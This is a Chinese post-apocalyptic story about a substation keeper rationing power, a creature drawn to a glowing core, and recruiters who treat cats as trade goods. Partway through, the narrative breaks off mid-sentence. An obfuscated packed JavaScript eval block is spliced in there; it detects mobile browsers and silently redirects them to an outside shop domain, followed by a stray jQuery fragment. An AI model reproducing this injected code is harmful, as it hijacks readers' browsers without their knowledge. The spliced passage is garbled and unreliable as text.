宋亚芬把音量拧回去，收音机那串嘶声在半句上被掐断。
“念了两个月，一天没断过。”她把茶缸端起来，没喝，又放下，“上个月有两个人往南边去，说要上塔。到现在一个也没回来。”
程甄把登记表往桌里侧推了推，问塔上是什么人。
“不知道。我这儿是南城变三号站，只管电。”宋亚芬朝窗外抬了抬下巴，“灯是我开的，电台是我的，塔上的人我一个也没见过。头一天听见那段广播，我对着话筒喊了半宿，那边一个字也没回我。”
她拉开桌子底下的抽屉，抽出一本作业本，封皮上两个钢笔字，负载。本子里一行一行抄着数，日期、晴阴、太阳板进账、灯用掉多少、电池剩几格，抄得一丝不苟，一直抄到最后写满的那页，笔尖点在底下那行数上。
“你会算账，给我算算。”本子推了过来，“我算了好几遍，算出来的数我不敢认。”
前二十页的格式跟镇上那本货单一个样子，难的不是写整齐，是从里头看出人要干什么。程甄把两个月的数顺着往下捋，捋到一半手慢了下来，阴天一天比一天多，太阳能板进账从一格掉到半格，而投光灯一整夜要吃掉半格。
她拿铅笔在纸边上算了三遍，把一个数字圈起来，又在旁边添了两个小字，欠账。
“这格电撑不到月底。”
宋亚芬盯着那个圈看了好一会儿，才把笔帽从嘴上取下来。她从抽屉里又摸出一本小册子，封皮上三个字，安全规程，边角卷得像一朵干花，翻到第三条，指给程甄看。
“值班员不许擅自断开工作照明。”她念得一个字不差，念完把册子合上，“可这本册子是给有电的时候写的。”
程甄在心里应了一句，末日的尽头原来也是考勤。她没说出来，把铅笔搁下，问宋亚芬打算怎么办。
“关灯。”宋亚芬说，“灯一关，南边那几个人摸不着这儿，围栏的电还能再撑半个月。围栏通着电，那种东西进不来。”
她问那广播怎么办。宋亚芬说广播吃不着电，收音机自己是收音机，只要没人去动它，它就一天一天往下念。说完了她顿了一下，声音慢下来，这两月灯亮着，来过四拨人，一拨比一拨不像人，可到底还是有活人顺着灯摸过来。
桌上那半包压缩饼干还没收。芝麻从桌底钻出来，叼起一块碎渣转身就跑，跑了两步却停住，回头扫了一圈，看见墙角纸箱上那只黄白花老猫睁着眼，它干脆把碎渣放下，当着老猫的面又重新叼起来。
老猫跳下纸箱就追，追两步撞进柴堆，糊了一嘴苇子毛。芝麻早蹿上铁皮柜顶，嘴里还衔着那块东西，尾巴在柜顶摆得像一面小旗，小陶笑得直咳嗽，胳膊上的纱布跟着抖。
笑到一半，那面小旗停了。芝麻整只猫转过来，脑袋朝西，柴堆里的黄白花老猫也直起身，背先弓起来，喉咙里滚出一串压得极低的声音。汤圆从门口的地上站起来，走到门边，贴着门缝卧下。
程甄手里的本子放下了。
宋亚芬的动作比她快，先把墙上那张安全生产的纸撕下一个角，再把窗帘拉严，最后走到门口，两只手把门栓往里又推了一寸。做完这些，她整个人还是稳的，开口的时候声音压得极低。
“都别出声。”
秀云把豆豆搂进怀里，小舟自己钻到桌子底下，膝盖顶着桌腿。球球钻进豆豆的腿弯，只露一个后脑勺在外头。芝麻在柜顶不下来，汤圆贴着门缝，尾巴尖在地板上一敲一敲。
程甄走到窗边，从窗帘缝里往外看。西墙那一面是空的，投光灯照着院里几畦油菜，铁丝围栏在灯下亮出一条边，围栏上垂着的那根线头正发出极细的滋声，一颤一颤。
外头有一步没踩实的声音，很轻，第二步就落进了院里，第三步到了围栏外面。那脚步一步跨得比人宽，落地的间隔却比人慢得多。
投光灯把它照出半个影子，肩膀宽得不像话，两条胳膊垂着，比人的长出一截，手指一直垂到膝盖上头。它站在围栏外面，慢慢抬起头，去看杆子顶上那盏灯。
宋亚芬的手按在门栓上，指节发白。“就是那个。”她的声音碎成了几截，“站着的……脑壳后面鼓着一块……”
它伸出一只手去碰铁丝。铁丝上闪了一下，滋的一声，那只手弹回去半寸，隔了一息又慢慢伸过来，第二回碰上去，它停住了，把手收回身侧。
它顺着围栏往南走，走得慢，一步一跨，绕过半个圈，停在铁皮门外面。
门上响了三下，不重，也不急，像是谁在确认门里头有没有活人。三下敲完，门板往外鼓了鼓，门栓发出一声闷响。
豆豆在秀云怀里挣了一下，球球从她腿弯里爬上去，用脑袋顶住她的下巴，喉咙里滚起那台小拖拉机。孩子把自己的袖子咬住了，一声没出。
程甄蹲在窗边没动，把这几天的账在心里过了一遍。站里两个多月没出过事，偏偏是今晚，而今晚她做过的唯一一件不一样的事，是睡之前把那个铁盒从洞里取出来看过一眼，铁盒进站的头一天，站里那只老猫就钻进了柜底。
它不是冲人来的，是冲洞里那颗东西来的。
把核扔到墙外，等于替南城那位买家送货；留在洞里，等于在自己住的地方养着一个招东西的家伙。两条路都在心里走了一遍，她站起来去掀那个铁盒。
铁盒从洞里取出来放到桌上，旁边那几颗灰白的料她一并抓了出来。摊开手，自己先愣了一下，上回在镇西一把一把捧进来的时候，这几颗都是指甲盖大的灰白色，眼下有三颗小了一圈，颜色也暗了一层，像被谁抽走了一口气，紫黑那颗倒比昨天更沉，也更烫。
那东西在洞里放了三夜，一夜比一夜热，边上这几颗就一夜比一夜轻。大的吃小的，这三夜她等于养着一个会吃东西的玩意儿。
后窗对着太阳能板那一面，窗外是空地，再往南是一段塌掉的破房子。她从墙上取下一根还没使过的长钩子，把铁盒绑在钩子尖上，又拿过一段长绳，一头系在钩子把上。
开窗之前她又扫了一眼西边。那东西还站在门口，一只手按着铁皮门，脑袋歪着，像在听门里头有没有人喘气。
钩子从后窗伸出去，贴着窗台往下放，放到底，再一寸一寸往南拖，铁盒在水泥地上蹭出一串轻响，声音不大，听着却是一步一步往南走。
门口的敲门声停了。
绳子一节一节往外放，铁盒拖过空场，拖到断桥底下那堆塌房边上，卡进一段露出来的钢筋缝里。她把绳子收回来，关严窗户，把插销推上。
那东西从围栏外过来了，不走围栏那头的大门，顺着围栏外侧往南，脚步一下比一下近。经过窗底下的时候，程甄把窗帘按住，只留了指甲宽的一条缝。
它停在断桥底下。她数着动静，数到十几下的时候，南边传来一声闷响，像谁把一只铁盒子砸在水泥地上。
再往后就静了。老猫从柴堆里爬出来，绕着板房走了一圈，走到西墙根闻了闻，回到纸箱上趴下。芝麻从柜顶跳下来，在屋里转了两圈，才重新去叼它那块饼干。
断桥那头，她自己去看了一趟。钩子还卡在钢筋缝里，铁盒没了，边上散着一圈碎布，其中一块上有个焦洞，针尖扎出来那么大。地上那排脚印她数了两遍，一步跨两个，全是往南，四十来步走完就没了。
她把那块带焦洞的布捡起来，揣进兜里。
回到站里，布摊在桌上，宋亚芬看了一眼就往后退了半步，说这东西放在站里，她一夜没敢合眼。程甄没接话，心里过的是另一件事：那东西带着核往南去了，南边有人收亮货，南边有收料的市场，南边还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959799|214323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
站着这么一种东西。
日头爬到杆子顶上的时候，公路上开来一辆皮卡，车斗上盖着草帘，帘角压了三块砖。
三个人下车，脚上都是干净的鞋，走路的步子也不慌。走在最前头那个穿着跟程甄身上差不多的运动夹克，胸口别着一块塑封的卡片，他走到围栏外面，没推门，先扬声喊了一句。
“敲门之前先喊人。”宋亚芬在窗里应他，“几个人。”
“三个，没带家伙。”那人把双手举起来给她看，“我们不是来抢东西的，我们来招人。”
他从夹克内兜里抽出一张纸，从门缝递进来。纸是打印的，边上留着裁切的毛口，一看就是一沓一沓印出来的东西。
抬头四个字，招工简章。底下分列条款：包吃住、按劳分配、伤残有药、识字者优先、会算账者优先、有异能者面议。最末一行小字，猫狗不许入内。程甄从头看到尾，又在心里倒着看了一遍。
末日的尽头果然还是招工。
背面印着工分怎么算，搬一趟料一分，缝一件衣裳两分，下河一天三分，教人认字一天一分半，底下还有一行小字，月按三十日计。
她问了一句，工分换粮按月还是按天。那人说按月。她把纸角递回去，指着背面那行字：“上个月是二十八天，你们按哪个月结。”
那人愣了一下，回头去看后面的人。后头一个瘦高个儿凑过来瞄了一眼，说这张纸是老张上个月印的，老张这个月不在了。
“按三十天立账，三百个人的口粮一个月要多记两天。”她说，“两天一个人两斤，三百个人六百斤，你们三辆车的油一个月烧不掉六百斤粮。”
“你识字？”那人问。
“我会算账。”
那人把纸收回去，在手里对折了一下，问她去不去城里。他们那儿管账的是个半瞎的老先生，三天两头把数记岔，管事的天天骂人，去管账管吃管住，工分按管事的本子上记。
程甄问他，城里有没有下河摸料的活。
“有。河底下的活最苦，工分最高，一天三分。”
“摸上来的东西往哪儿送。”
那人看了她一眼，说这话问得太细。他往围栏上头那盏灯瞟了瞟，还是答了，往城里送，送到塔底下，价钱在塔底下定。说完顿了顿，又补了半句，猫也一样。
程甄没接着问，把纸翻回正面，指着最末那行小字：“那这上头的猫狗不许入内，是怎么个不许。”
“猫不进厂。”那人笑了一下，笑得很随意，“猫是货。”
他回到车上，皮卡在空地上掉了个头，车斗上的草帘被风掀起一角，帘子底下立着两只笼子，前头一只是空的，后头那只里趴着一个东西，架子薄得能看见肋骨，趴着一动不动。
草帘落回去的时候，程甄把那张招工简章对折了一下，再对折，塞进贴身的布带，跟账本放在一处。
天擦黑，宋亚芬把负载本从茶缸底下抽出来，翻到最后一页，添了一个数，画了一道横线，本子推到程甄面前。
“明天我关灯。”她说，“你要走，就走白天那趟。往南的路我画在纸上给你。”
程甄问她一件事，那段广播除了“往塔上来”，还念过别的话没有。
宋亚芬想了想，说念过。头一个月里有一夜，念到一半那声音停了，停了很长，接着多念了一段，念的是货价，三只亮货，价翻倍，尚缺一只。前后两段不是同一个人，前头那个嗓门高些，念得慢，后头那个语速快，念完就断，从不往回念。
程甄把那两句摆在一处。两个声音各干各的活，一道广播把人叫过去，也把猫叫过去。
宋亚芬从那沓空白登记表上抽了三张，用手掌抚平，推过来。
“塔上要登记。”她说，“你字好，自己填。”